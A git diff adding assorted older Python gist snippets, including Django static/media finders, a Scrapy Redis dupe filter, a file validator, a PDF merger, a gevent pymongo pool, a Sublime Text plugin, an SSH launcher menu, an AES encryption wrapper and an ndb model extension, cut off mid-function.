Binary files /dev/null and b/hard-gists/1165344/._snippet.py differ
diff --git a/hard-gists/1165344/snippet.py b/hard-gists/1165344/snippet.py
new file mode 100644
index 00000000..7267c6e4
--- /dev/null
+++ b/hard-gists/1165344/snippet.py
@@ -0,0 +1,42 @@
+import os
+
+from django.conf import settings
+from django.contrib.staticfiles.finders import BaseFinder, AppDirectoriesFinder
+from django.contrib.staticfiles.storage import AppStaticStorage
+from django.core.files.storage import FileSystemStorage
+from django.utils._os import safe_join
+
+
+class AppMediaStorage(AppStaticStorage):
+    source_dir = 'media'
+
+
+class MediaFinder(AppDirectoriesFinder):
+    storage_class = AppMediaStorage
+
+
+class MediaRootFinder(BaseFinder):
+    """
+    Since the static files runserver can not find media definitions, it is now
+    added by this finder. This way you don't have to define anything in urls.py
+    to make django server both static and media files.
+    """
+    def find(self, path, all=False):
+        """
+        Looks for files in the MEDIA_ROOT
+        """
+        media_prefix = settings.MEDIA_URL.replace(settings.STATIC_URL, '')
+        if  path.startswith(media_prefix):
+            location = safe_join(settings.STATIC_ROOT, path)
+            if os.path.exists(location):
+                if not all:
+                    return location
+                return [location]
+        
+        return []
+    
+    def list(self, ignore_patterns):
+        """
+        List all files in all locations.
+        """
+        yield settings.MEDIA_ROOT, FileSystemStorage()
diff --git a/hard-gists/1177373/._snippet.py b/hard-gists/1177373/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1177373/._snippet.py differ
diff --git a/hard-gists/1177373/snippet.py b/hard-gists/1177373/snippet.py
new file mode 100644
index 00000000..a8fa1882
--- /dev/null
+++ b/hard-gists/1177373/snippet.py
@@ -0,0 +1,21 @@
+import redis
+
+from scrapy.dupefilter import BaseDupeFilter
+from scrapy.utils.request import request_fingerprint
+
+
+class RedisDupeFilter(BaseDupeFilter):
+
+    def __init__(self, host, port):
+        self.redis = redis.Redis(host, port)
+
+    @classmethod
+    def from_settings(cls, settings):
+        host = settings.get('REDIS_HOST', 'localhost')
+        port = settings.get('REDIS_PORT', 6379)
+        return cls(host, port)
+
+    def request_seen(self, request):
+        fp = request_fingerprint(request)
+        added = self.redis.sadd('fingerprints', fp)
+        return not added
diff --git a/hard-gists/1183767/._snippet.py b/hard-gists/1183767/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1183767/._snippet.py differ
diff --git a/hard-gists/1183767/snippet.py b/hard-gists/1183767/snippet.py
new file mode 100644
index 00000000..9d3bc7df
--- /dev/null
+++ b/hard-gists/1183767/snippet.py
@@ -0,0 +1,80 @@
+from os.path import splitext
+
+from django.core.exceptions import ValidationError
+from django.utils.translation import ugettext_lazy as _
+from django.template.defaultfilters import filesizeformat
+
+
+class FileValidator(object):
+    """
+    Validator for files, checking the size, extension and mimetype.
+
+    Initialization parameters:
+        allowed_extensions: iterable with allowed file extensions
+            ie. ('txt', 'doc')
+        allowd_mimetypes: iterable with allowed mimetypes
+            ie. ('image/png', )
+        min_size: minimum number of bytes allowed
+            ie. 100
+        max_size: maximum number of bytes allowed
+            ie. 24*1024*1024 for 24 MB
+
+    Usage example::
+
+        MyModel(models.Model):
+            myfile = FileField(validators=FileValidator(max_size=24*1024*1024), ...)
+
+    """
+
+    extension_message = _("Extension '%(extension)s' not allowed. Allowed extensions are: '%(allowed_extensions)s.'")
+    mime_message = _("MIME type '%(mimetype)s' is not valid. Allowed types are: %(allowed_mimetypes)s.")
+    min_size_message = _('The current file %(size)s, which is too small. The minumum file size is %(allowed_size)s.')
+    max_size_message = _('The current file %(size)s, which is too large. The maximum file size is %(allowed_size)s.')
+
+    def __init__(self, *args, **kwargs):
+        self.allowed_extensions = kwargs.pop('allowed_extensions', None)
+        self.allowed_mimetypes = kwargs.pop('allowed_mimetypes', None)
+        self.min_size = kwargs.pop('min_size', 0)
+        self.max_size = kwargs.pop('max_size', None)
+
+    def __call__(self, value):
+        """
+        Check the extension, content type and file size.
+        """
+        # Check the extension
+        ext = splitext(value.name)[1][1:].lower()
+        if self.allowed_extensions and not ext in self.allowed_extensions:
+            message = self.extension_message % {
+                'extension' : ext,
+                'allowed_extensions': ', '.join(self.allowed_extensions)
+            }
+
+            raise ValidationError(message)
+
+        # Check the content type
+        mimetype = value.file.content_type
+        if self.allowed_mimetypes and not mimetype in self.allowed_mimetypes:
+            message = self.mime_message % {
+                'mimetype': mimetype,
+                'allowed_mimetypes': ', '.join(self.allowed_mimetypes)
+            }
+
+            raise ValidationError(message)
+
+        # Check the file size
+        filesize = value.file._size
+        if self.max_size and filesize > self.max_size:
+            message = self.max_size_message % {
+                'size': filesizeformat(filesize),
+                'allowed_size': filesizeformat(self.max_size)
+            }
+
+            raise ValidationError(message)
+
+        elif filesize < self.min_size:
+            message = self.min_size_message % {
+                'size': filesizeformat(filesize),
+                'allowed_size': filesizeformat(self.min_size)
+            }
+
+            raise ValidationError(message)
diff --git a/hard-gists/1183842/._snippet.py b/hard-gists/1183842/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1183842/._snippet.py differ
diff --git a/hard-gists/1183842/snippet.py b/hard-gists/1183842/snippet.py
new file mode 100644
index 00000000..0e2a2ce8
--- /dev/null
+++ b/hard-gists/1183842/snippet.py
@@ -0,0 +1,53 @@
+import sys
+from java.io import *
+import java.io.InputStream
+import java.io.FileInputStream
+import java.lang.String # blah....converting String types between Java/Python is tedious
+sys.path.append("pdfbox-1.0.0.jar") # or wherever you stashed it
+import org.apache.pdfbox
+
+"""
+This method merges the FileInputStreams that the streamList points to, into the
+outputStream, which is saved to disk in place.
+"""
+def pdf_merger_utility_in_memory(streamList, outputStream):
+    #need these two defined in order to use the PDFMergerUtility class
+    destination = org.apache.pdfbox.pdmodel.PDDocument()
+    source = org.apache.pdfbox.pdmodel.PDDocument()
+    util = org.apache.pdfbox.util.PDFMergerUtility()
+    # enforce a list length of 2 or more streams, otherwise merging is dumb.
+    if(streamList is not None and len(streamList) > 1 ):
+        try:
+            #first stream in the list is the destination to append to
+            destination = org.apache.pdfbox.pdmodel.PDDocument.load(streamList[0], True) #true tells it to skip corrupt files, I don't care about misses.
+            print destination
+            for x in xrange(1,len(streamList)):
+                source = org.apache.pdfbox.pdmodel.PDDocument.load(streamList[x], True)
+                print "stream loaded"
+                print source
+                try:
+                    print type(destination), type(source)
+                    util.appendDocument(destination, source)
+                    source.close()
+                    print "Appended successfully"
+                except:
+                    # I'm just ignoring the "did not close the pdf" error
+                    # since this is a proof of concept.
+                    instance = sys.exc_info()[1]
+                    print instance
+            destination.save(outputStream)
+            print "Saved to outputStream"
+        except:
+            instance = sys.exc_info()[1]
+            print instance
+
+if __name__ == "__main__":
+    #hard coded examples
+    FILE_PATH_1 = java.lang.String("./UsabilityChecklists.pdf")
+    FILE_PATH_2 = java.lang.String("./web.pdf")
+    #convert java strings to java FISs
+    file1 = java.io.FileInputStream(FILE_PATH_1)
+    file2 = java.io.FileInputStream(FILE_PATH_2)
+    files = (file1, file2)
+    pdf_merger_utility_in_memory(files, "./merged_result.pdf")
+    
\ No newline at end of file
diff --git a/hard-gists/1184264/._snippet.py b/hard-gists/1184264/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1184264/._snippet.py differ
diff --git a/hard-gists/1184264/snippet.py b/hard-gists/1184264/snippet.py
new file mode 100644
index 00000000..1a2f4f86
--- /dev/null
+++ b/hard-gists/1184264/snippet.py
@@ -0,0 +1,114 @@
+# Copyright 2011 10gen
+# 
+# Modified by Antonin Amand <antonin.amand@gmail.com> to work with gevent.
+# 
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+# 
+#   http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import os
+import pymongo.connection
+from gevent.hub import getcurrent
+import gevent.queue
+import gevent.greenlet
+import gevent.local
+import gevent.coros
+from gevent import socket
+import weakref
+
+
+class Pool(object):
+    """ A greenlet safe connection pool for gevent (non-thread safe).
+    """
+
+    DEFAULT_TIMEOUT = 3.0
+
+    def __init__(self, pool_size, network_timeout=None):
+        self.network_timeout = network_timeout or self.DEFAULT_TIMEOUT
+        self.pool_size = pool_size
+        self._bootstrap(os.getpid())
+        self._lock = gevent.coros.RLock()
+
+    def _bootstrap(self, pid):
+        self._count = 0
+        self._pid = pid
+        self._used = {}
+        self._queue = gevent.queue.Queue(self.pool_size)
+
+    def connect(self, host, port):
+        """Connect to Mongo and return a new (connected) socket.
+        """
+        try:
+            # Prefer IPv4. If there is demand for an option
+            # to specify one or the other we can add it later.
+            s = socket.socket(socket.AF_INET)
+            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+            s.settimeout(self.network_timeout or 
+                    pymongo.connection._CONNECT_TIMEOUT)
+            s.connect((host, port))
+            s.settimeout(self.network_timeout)
+            return s
+        except socket.gaierror:
+            # If that fails try IPv6
+            s = socket.socket(socket.AF_INET6)
+            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+            s.settimeout(self.network_timeout or 
+                    pymongo.connection._CONNECT_TIMEOUT)
+            s.connect((host, port))
+            s.settimeout(self.network_timeout)
+            return s
+
+    def get_socket(self, host, port):
+        pid = os.getpid()
+        if pid != self._pid:
+            self._bootstrap(pid)
+
+        greenlet = getcurrent()
+        from_pool = True
+        sock = self._used.get(greenlet)
+        if sock is None:
+            with self._lock:
+                if self._count < self.pool_size:
+                    self._count += 1
+                    from_pool = False
+                    sock = self.connect(host, port)
+        if sock is None:
+            from_pool = True
+            sock = self._queue.get(timeout=self.network_timeout)
+
+        if isinstance(greenlet, gevent.Greenlet):
+            greenlet.link(self._return)
+            self._used[greenlet] = sock
+        else:
+            ref = weakref.ref(greenlet, self._return)
+            self._used[ref] = sock
+        return sock, from_pool
+
+    def return_socket(self):
+        greenlet = getcurrent()
+        self._return(greenlet)
+
+    def _return(self, greenlet):
+        try:
+            sock = self._used.get(greenlet)
+            if sock is not None:
+                del self._used[greenlet]
+                self._queue.put(sock)
+        except:
+            with self._lock:
+                self._count -= 1
+
+
+def patch():
+    import pymongo.connection
+    pymongo.connection._Pool = Pool
+
diff --git a/hard-gists/1186126/._snippet.py b/hard-gists/1186126/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1186126/._snippet.py differ
diff --git a/hard-gists/1186126/snippet.py b/hard-gists/1186126/snippet.py
new file mode 100644
index 00000000..af7c2f58
--- /dev/null
+++ b/hard-gists/1186126/snippet.py
@@ -0,0 +1,57 @@
+import sublime, sublime_plugin
+import os.path, string
+
+VALID_FILENAME_CHARS = "-_.() %s%s%s" % (string.ascii_letters, string.digits, "/:\\")
+
+# { "keys": ["alt+o"], "command": "open_filename_under_cursor" }
+# https://gist.github.com/1186126
+class OpenFilenameUnderCursor(sublime_plugin.TextCommand):
+    def run(self, edit):
+        for region in self.view.sel():
+            # Collect the texts that may possibly be filenames
+            quoted_text = self.get_quoted_selection(region)
+            selected_text = self.get_selection(region)
+            whole_line = self.get_line(region)
+            clipboard = sublime.get_clipboard().strip()
+            default_new_filename = self.create_filename(selected_text)
+
+            # Search for a valid filename from the possible sources: quoted_text, selected_text, whole_line, clipboard
+            # If none of these sources match a valid filename the a new filename will be created from the selected_text
+            filename = default_new_filename
+            for text in (quoted_text, selected_text, whole_line, clipboard):
+                potential_filename = self.get_filename(text)
+                if os.path.isfile(potential_filename):
+                    filename = potential_filename
+                    break
+
+            # If a filename was discovered from one of the sources, then open it
+            if filename:
+                print "Opening file '%s'" % (filename)
+                self.view.window().open_file(filename)
+            else:
+                 print "No filename discovered in the quoted_text, selected_text, whole_line or clipboard"
+
+    def get_selection(self, region):
+        return self.view.substr(region).strip()
+
+    def get_line(self, region):
+        return self.view.substr(self.view.line(region)).strip()
+
+    def get_quoted_selection(self, region):
+        text = self.view.substr(self.view.line(region))
+        position = self.view.rowcol(region.begin())[1]
+        quoted_text = self.expand_within_quotes(text, position, '"')
+        if not quoted_text:
+            quoted_text = self.expand_within_quotes(text, position, '\'')
+        return quoted_text
+
+    def expand_within_quotes(self, text, position, quote_character):
+        open_quote = text.rfind(quote_character, 0, position)
+        close_quote = text.find(quote_character, position)
+        return text[open_quote+1:close_quote] if (open_quote > 0 and close_quote > 0) else ''
+
+    def get_filename(self, text):
+        return text if os.path.isfile(text.strip()) else ''
+
+    def create_filename(self, text):
+        return ''.join(c for c in text if c in VALID_FILENAME_CHARS)
diff --git a/hard-gists/1189327/._snippet.py b/hard-gists/1189327/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1189327/._snippet.py differ
diff --git a/hard-gists/1189327/snippet.py b/hard-gists/1189327/snippet.py
new file mode 100644
index 00000000..9651120f
--- /dev/null
+++ b/hard-gists/1189327/snippet.py
@@ -0,0 +1,240 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+#
+# SSHplus
+# A remote connect utlity, sshmenu compatible clone, and application starter.
+#
+# (C) 2011 Anil Gulecha
+# Based on sshlist, incorporating changes by Benjamin Heil's simplestarter
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+# Instructions
+#
+# 1. Copy file sshplus.py (this file) to /usr/local/bin
+# 2. Edit file .sshplus in your home directory to add menu entries, each
+#    line in the format NAME|COMMAND|ARGS
+# 3. Launch sshplus.py
+# 4. Or better yet, add it to gnome startup programs list so it's run on login.
+
+import gobject
+import gtk
+import appindicator
+import os
+import pynotify
+import sys
+import shlex
+
+_VERSION = "1.0"
+
+_SETTINGS_FILE = os.getenv("HOME") + "/.sshplus"
+_SSHMENU_FILE = os.getenv("HOME") + "/.sshmenu"
+
+_ABOUT_TXT = """A simple application starter as appindicator.
+
+To add items to the menu, edit the file <i>.sshplus</i> in your home directory. Each entry must be on a new line in this format:
+
+<tt>NAME|COMMAND|ARGS</tt>
+
+If the item is clicked in the menu, COMMAND with arguments ARGS will be executed. ARGS can be empty. To insert a separator, add a line which only contains "sep". Lines starting with "#" will be ignored. You can set an unclickable label with the prefix "label:". Items from sshmenu configuration will be automatically added (except nested items). To insert a nested menu, use the prefix "folder:menu name". Subsequent items will be inserted in this menu, until a line containing an empty folder name is found: "folder:". After that, subsequent items get inserted in the parent menu. That means that more than one level of nested menus can be created.
+
+Example file:
+<tt><small>
+Show top|gnome-terminal|-x top
+sep
+
+# this is a comment
+label:SSH connections
+# create a folder named "Home"
+folder:Home
+SSH Ex|gnome-terminal|-x ssh user@1.2.3.4
+# to mark the end of items inside "Home", specify and empty folder:
+folder:
+# this item appears in the main menu
+SSH Ex|gnome-terminal|-x ssh user@1.2.3.4
+
+label:RDP connections
+RDP Ex|rdesktop|-T "RDP-Server" -r sound:local 1.2.3.4
+
+</small></tt>
+Copyright 2011 Anil Gulecha
+Incorporating changes from simplestarter, Benjamin Heil, http://www.bheil.net
+
+Released under GPL3, http://www.gnu.org/licenses/gpl-3.0.html"""
+
+def menuitem_response(w, item):
+    if item == '_about':
+        show_help_dlg(_ABOUT_TXT)
+    elif item == '_refresh':
+        newmenu = build_menu()
+        ind.set_menu(newmenu)
+        pynotify.Notification("SSHplus refreshed", "Menu list was refreshed from %s" % _SETTINGS_FILE).show()
+    elif item == '_quit':
+        sys.exit(0)
+    elif item == 'folder':
+        pass
+    else:
+        print item
+        os.spawnvp(os.P_NOWAIT, item['cmd'], [item['cmd']] + item['args'])
+        os.wait3(os.WNOHANG)
+
+def show_help_dlg(msg, error=False):
+    if error:
+        dlg_icon = gtk.MESSAGE_ERROR
+    else:
+        dlg_icon = gtk.MESSAGE_INFO
+    md = gtk.MessageDialog(None, 0, dlg_icon, gtk.BUTTONS_OK)
+    try:
+        md.set_markup("<b>SSHplus %s</b>" % _VERSION)
+        md.format_secondary_markup(msg)
+        md.run()
+    finally:
+        md.destroy()
+    
+def add_separator(menu):
+    separator = gtk.SeparatorMenuItem()
+    separator.show()
+    menu.append(separator)
+
+def add_menu_item(menu, caption, item=None):
+    menu_item = gtk.MenuItem(caption)
+    if item:
+        menu_item.connect("activate", menuitem_response, item)
+    else:
+        menu_item.set_sensitive(False)
+    menu_item.show()
+    menu.append(menu_item)
+    return menu_item
+
+def get_sshmenuconfig():
+    if not os.path.exists(_SSHMENU_FILE):
+        return None
+    hostlist=open(os.getenv("HOME")+"/.sshmenu","r").read()
+    smenutitle=[]
+    smenuparams=[]
+    try:
+        for line in hostlist.split("\n"):
+            if line[2:7] == "title":
+                smenutitle.append(line.split(":")[1])
+            if line[2:11] == "sshparams":
+                smenuparams.append(line.split(":")[1])
+        if len(smenutitle) ==  len(smenuparams):
+            if len(smenutitle) != 0:
+                return (smenutitle,smenuparams)
+        else:
+            if len(smenuparams) != 0:
+                return (smenuparams,smenuparams)
+        return None
+    except:
+        return None
+
+def get_sshplusconfig():
+    if not os.path.exists(_SETTINGS_FILE):
+        return []
+
+    app_list = []
+    f = open(_SETTINGS_FILE, "r")
+    try:
+        for line in f.readlines():
+            line = line.rstrip()
+            if not line or line.startswith('#'):
+                continue
+            elif line == "sep":
+                app_list.append('sep')
+            elif line.startswith('label:'):
+                app_list.append({
+                    'name': 'LABEL',
+                    'cmd': line[6:], 
+                    'args': ''
+                })
+            elif line.startswith('folder:'):
+                app_list.append({
+                    'name': 'FOLDER',
+                    'cmd': line[7:], 
+                    'args': ''
+                })
+            else:
+                try:
+                    name, cmd, args = line.split('|', 2)
+                    app_list.append({
+                        'name': name,
+                        'cmd': cmd,
+                        'args': [n.replace("\n", "") for n in shlex.split(args)],
+                    })
+                except ValueError:
+                    print "The following line has errors and will be ignored:\n%s" % line
+    finally:
+        f.close()
+    return app_list
+
+def build_menu():
+    if not os.path.exists(_SETTINGS_FILE) and not os.path.exists(_SSHMENU_FILE) :
+        show_help_dlg("<b>ERROR: No .sshmenu or .sshplus file found in home directory</b>\n\n%s" % \
+             _ABOUT_TXT, error=True)
+        sys.exit(1)
+
+    app_list = get_sshplusconfig()
+
+    #Add sshmenu config items if any
+    sshmenuitems = get_sshmenuconfig()
+    if sshmenuitems != None:
+        app_list.append("sep")
+        app_list.append({
+            'name': 'LABEL',
+            'cmd': "SSHmenu",
+            'args': ''
+        })
+        titles=sshmenuitems[0]
+        sshparams=sshmenuitems[1]
+        for i in range(len(titles)):
+            app_list.append({
+                'name': titles[i],
+                'cmd': "gnome-terminal",
+                'args': [n.replace("\n", "") for n in shlex.split("-x ssh " + sshparams[i])],
+            })
+
+    menu = gtk.Menu()
+    menus = [menu]
+
+    for app in app_list:
+        if app == "sep":
+            add_separator(menus[-1])
+        elif app['name'] == "FOLDER" and not app['cmd']:
+            if len(menus) > 1:
+                menus.pop()
+        elif app['name'] == "FOLDER":
+            menu_item = add_menu_item(menus[-1], app['cmd'], 'folder')
+            menus.append(gtk.Menu())
+            menu_item.set_submenu(menus[-1])
+        elif app['name'] == "LABEL":
+            add_menu_item(menus[-1], app['cmd'], None)
+        else:
+            add_menu_item(menus[-1], app['name'], app)
+
+    add_separator(menu)
+    add_menu_item(menu, 'Refresh', '_refresh')
+    add_menu_item(menu, 'About', '_about')
+    add_separator(menu)
+    add_menu_item(menu, 'Quit', '_quit')
+    return menu
+
+if __name__ == "__main__":
+    ind = appindicator.Indicator("sshplus", "stock_connect",
+                                 appindicator.CATEGORY_APPLICATION_STATUS)
+    #ind.set_label("Launch")
+    ind.set_status(appindicator.STATUS_ACTIVE)
+
+    appmenu = build_menu()
+    ind.set_menu(appmenu)
+    gtk.main()
diff --git a/hard-gists/1191457/._snippet.py b/hard-gists/1191457/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1191457/._snippet.py differ
diff --git a/hard-gists/1191457/snippet.py b/hard-gists/1191457/snippet.py
new file mode 100644
index 00000000..622719ea
--- /dev/null
+++ b/hard-gists/1191457/snippet.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+import urllib
+import sys
+import json
+from mwlib import parser
+from mwlib.refine import compat
+
+if __name__ == "__main__":
+	params = urllib.urlencode({
+		"format": "json",
+		"action": "query",
+		"prop": "revisions",
+		"rvprop": "content",
+		"titles": "ISO_3166-1",
+		"rvsection": "4",
+	})
+	wc = urllib.urlopen("http://en.wikipedia.org/w/api.php?%s" % params)
+	if wc.getcode() != 200:
+		print "Fail!"
+		sys.exit(2)
+
+	raw = wc.read()
+	rdata = json.loads(raw)
+	wc.close()
+
+	page = rdata['query']['pages'].itervalues().next()
+	if not page:
+		print "NO page found"
+		sys.exit(3)
+
+	revision = page['revisions'][0]
+	if not revision:
+		print "NO revision found"
+		sys.exit(4)
+
+	content = revision[str(revision.keys()[0])]
+	parsed = compat.parse_txt(content)
+	table = parsed.find(parser.Table)[0]
+
+	if not table:
+		print "Table not found"
+		sys.exit(5)
+
+	for row in table.children:
+		cells = row.find(parser.Cell)
+		print cells[0].asText().replace("}}", "").replace("{{", "").strip() + \
+		" || " + cells[1].asText().strip() + " || " + cells[2].asText().strip() \
+		+ " || " + cells[3].asText().strip()
diff --git a/hard-gists/1192059/._snippet.py b/hard-gists/1192059/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1192059/._snippet.py differ
diff --git a/hard-gists/1192059/snippet.py b/hard-gists/1192059/snippet.py
new file mode 100644
index 00000000..0b09aaf1
--- /dev/null
+++ b/hard-gists/1192059/snippet.py
@@ -0,0 +1,75 @@
+# -*- coding: utf-8 -*-
+
+"""Part of an answer to http://stackoverflow.com/questions/7296535/easy-to-use-python-encryption-library-wrapper/7296656#7296656"""
+
+import hashlib
+import hmac
+import os
+import random
+from Crypto.Cipher import AES
+
+
+class AuthenticationError(Exception):
+    pass
+
+
+class MagicCrypt(object):
+    
+    AES_BLOCK_SIZE = 32
+    SIG_SIZE = hashlib.sha256().digest_size
+    
+    def __init__(self, key):
+        self.key = self._hash_key(key)
+    
+    def _hash_key(self, key):
+        """Return a key suitable for use with the cipher"""
+        return hashlib.sha256(key).digest()
+    
+    def _initialisation_vector(self):
+        """get a random initialisation vector"""
+        return os.urandom(16)
+    
+    def _cipher(self, key, iv):
+        """Return a cipher. An object that implements .encrypt() and 
+        .decrypt()
+        """
+        return AES.new(key, AES.MODE_CBC, iv)    
+    
+    def encrypt(self, data):
+        iv = self._initialisation_vector()
+        cipher = self._cipher(self.key, iv)
+        ## get the required padding length
+        pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE
+        ## pad the data by appending repeate char    
+        data = data + pad * chr(pad)
+        ## encrypt and prepend the initialisation vector
+        data = iv + cipher.encrypt(data)
+        ## hash the encrypted data
+        sig = hmac.new(self.key, data, hashlib.sha256).digest()
+        ## append the hash to the data
+        return data + sig
+    
+    def decrypt(self, data):
+        ## extract the hash
+        sig = data[-self.SIG_SIZE:]
+        data = data[:-self.SIG_SIZE]
+        ## check the encrypted data is valid using the hmac hash
+        if hmac.new(self.key, data, hashlib.sha256).digest() != sig:
+            raise AuthenticationError("message authentication failed")
+        ## extract the initialisation vector
+        iv = data[:16]
+        data = data[16:]
+        cipher = AES.new(self.key, AES.MODE_CBC, iv)
+        ## decrypt
+        data = cipher.decrypt(data)
+        ## remove the padding
+        return data[:-ord(data[-1])]
+
+
+
+if __name__ == '__main__':
+    s = 'This is a secret'
+    crypt = MagicCrypt('mypassword')
+    encrypted = crypt.encrypt(s)
+    decrypted = crypt.decrypt(encrypted)
+    print decrypted == s
\ No newline at end of file
diff --git a/hard-gists/1196291/._snippet.py b/hard-gists/1196291/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1196291/._snippet.py differ
diff --git a/hard-gists/1196291/snippet.py b/hard-gists/1196291/snippet.py
new file mode 100644
index 00000000..a196ede0
--- /dev/null
+++ b/hard-gists/1196291/snippet.py
@@ -0,0 +1,88 @@
+import tweets
+import datetime
+import sys
+
+def retrieve_conversations(tweets):
+    """ Retrieves tweets with conversations.
+
+    To determine if a tweet is a part of conversation,
+    it uses user-mentions field in the tweet-entities.
+    So, the inherent assumption is that the tweets
+    are not returned from the search API.
+
+    For more details, see https://dev.twitter.com/docs/tweet-entities
+    """
+
+    li = []
+    for tweet in tweets:
+        if tweet.entities['user_mentions']:
+            li.append((tweet.created_at,
+                len(tweet.entities['user_mentions'])))
+
+    return li
+
+def aggregate_conversations(li, delta):
+    """Aggregates the conversation count.
+    
+    Keyword arguments:
+        li --- The list of tuples containing tweet creation date
+            and number of user mentions.
+        delta --- The timedelta object by which the conversations
+            should be aggregated.
+
+    """
+
+    count = []
+    date = []
+
+    index = -1
+
+    for (d, c) in sorted(li):
+        if index == -1:
+            index += 1
+            count.append(c)
+            date.append(d)
+        else:
+            if d - date[index] <= delta:
+                count[index] += c
+            else:
+                date.append(d)
+                count.append(c)
+                index += 1
+    return (count, date)
+
+
+def draw_conversation(c, d, title):
+    """Draws the conversation graphs."""
+
+    import matplotlib.pyplot as plt
+    import numpy as np
+
+    mentions = np.array(c, dtype='int32')
+
+    fig = plt.figure()
+    ax = fig.add_subplot(111)
+    ax.scatter(d, mentions, c=mentions, s=mentions**1.5, alpha=0.75 )
+
+    plt.title(title)
+
+    plt.show()
+
+def main(argv):
+
+    #Aggregate by a week
+    agg_range=7
+
+    if argv:
+        defaults, user_info = tweets.parse_config(argv[0])
+        
+        statuses = tweets.get_user_status(user_info[0], user_info[1])
+
+        li = retrieve_conversations(statuses)
+        (c, d) = aggregate_conversations(li, datetime.timedelta(days=agg_range))
+        title = " Conversations of " + user_info[0]
+        draw_conversation(c, d, title)
+
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file
diff --git a/hard-gists/1200485/._snippet.py b/hard-gists/1200485/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1200485/._snippet.py differ
diff --git a/hard-gists/1200485/snippet.py b/hard-gists/1200485/snippet.py
new file mode 100644
index 00000000..75348a22
--- /dev/null
+++ b/hard-gists/1200485/snippet.py
@@ -0,0 +1,184 @@
+import hashlib
+import logging
+
+from werkzeug import cached_property
+from flask.signals import Namespace
+from ndb import model, tasklets, query, key
+from ndb.key import Key as BaseKey
+
+
+class Error(Exception):
+    """Base exception for model module"""
+
+
+signals = Namespace()
+
+pre_put = signals.signal('pre-put')
+post_put = signals.signal('post-put')
+
+pre_delete = signals.signal('pre-delete')
+post_delete = signals.signal('post-delete')
+
+
+class Unique(model.Model):
+    @classmethod
+    def create(cls, value):
+        entity = cls(key=model.Key(cls, value))
+        txn = lambda: entity.put() if not entity.key.get() else None
+        return model.transaction(txn) is not None
+
+    @classmethod
+    def create_multi(cls, values):
+        keys = [model.Key(cls, value) for value in values]
+        entities = [cls(key=key) for key in keys]
+        func = lambda e: e.put() if not e.key.get() else None
+        created = [model.transaction(lambda: func(e)) for e in entities]
+
+        if created != keys:
+            # A poor man's rollback: delete all recently created records.
+            model.delete_multi(k for k in created if k)
+            return False, [k.id() for k in keys if k not in created]
+
+        return True, []
+
+
+class Key(BaseKey):
+    def __new__(cls, *_args, **kwargs):
+        if _args:
+            if len(_args) == 1 and isinstance(_args[0], dict):
+                assert not kwargs
+                kwargs = _args[0]
+            else:
+                assert 'flat' not in kwargs
+                kwargs['flat'] = _args
+        self = object.__new__(cls)
+        self.__reference = key._ConstructReference(cls, **kwargs)
+        return self
+
+    @cached_property
+    def class_model(self):
+        return model.Model._kind_map.get(self.kind())
+
+    def delete_async(self, *args, **kwargs):
+        self._pre_delete()
+        fut = super(Key, self).delete_async(*args, **kwargs)
+        fut.add_callback(self._post_delete)
+        return fut
+
+    def _pre_delete(self):
+        pre_delete.send(self.class_model, key=self)
+
+    def _post_delete(self):
+        post_delete.send(self.class_model, key=self)
+
+key.Key = Key
+model.Key = Key
+
+
+class MetaModel(model.MetaModel):
+    def __new__(cls, name, bases, classdict):
+        classdict['Unique'] = type(name + 'Unique', (Unique,), {})
+        new_class = super(MetaModel, cls).__new__(cls, name, bases, classdict)
+        return new_class
+
+    def __init__(cls, name, bases, classdict):
+        super(MetaModel, cls).__init__(name, bases, classdict)
+        cls._register_unique_events()
+
+
+class Model(model.Model):
+    __metaclass__ = MetaModel
+
+    query_class = query.Query
+
+    @classmethod
+    def _query(cls, *args, **kwds):
+        qry = cls.query_class(kind=cls._get_kind(), **kwds)
+        if args:
+            qry = qry.filter(*args)
+        return qry
+    query = _query
+
+    def _put_async(self, *args, **kwargs):
+        creation = not self._has_complete_key()
+        self._pre_put(creation=creation)
+        fut = super(Model, self)._put_async(*args, **kwargs)
+        fut.add_callback(self._post_put, created=creation)
+        return fut
+    put_async = _put_async
+
+    def _pre_put(self, creation=False):
+        self.pre_put(creation=creation)
+        pre_put.send(self.__class__, instance=self, creation=creation)
+
+    def pre_put(self, creation=False):
+        pass
+
+    def _post_put(self, created=False):
+        self.post_put(created=created)
+        post_put.send(self.__class__, instance=self, created=created)
+
+    def post_put(self, created=False):
+        pass
+
+    @classmethod
+    def _register_unique_events(cls):
+        @pre_put.connect_via(cls)
+        def check_unique_constraints(send, instance=None, **kwargs):
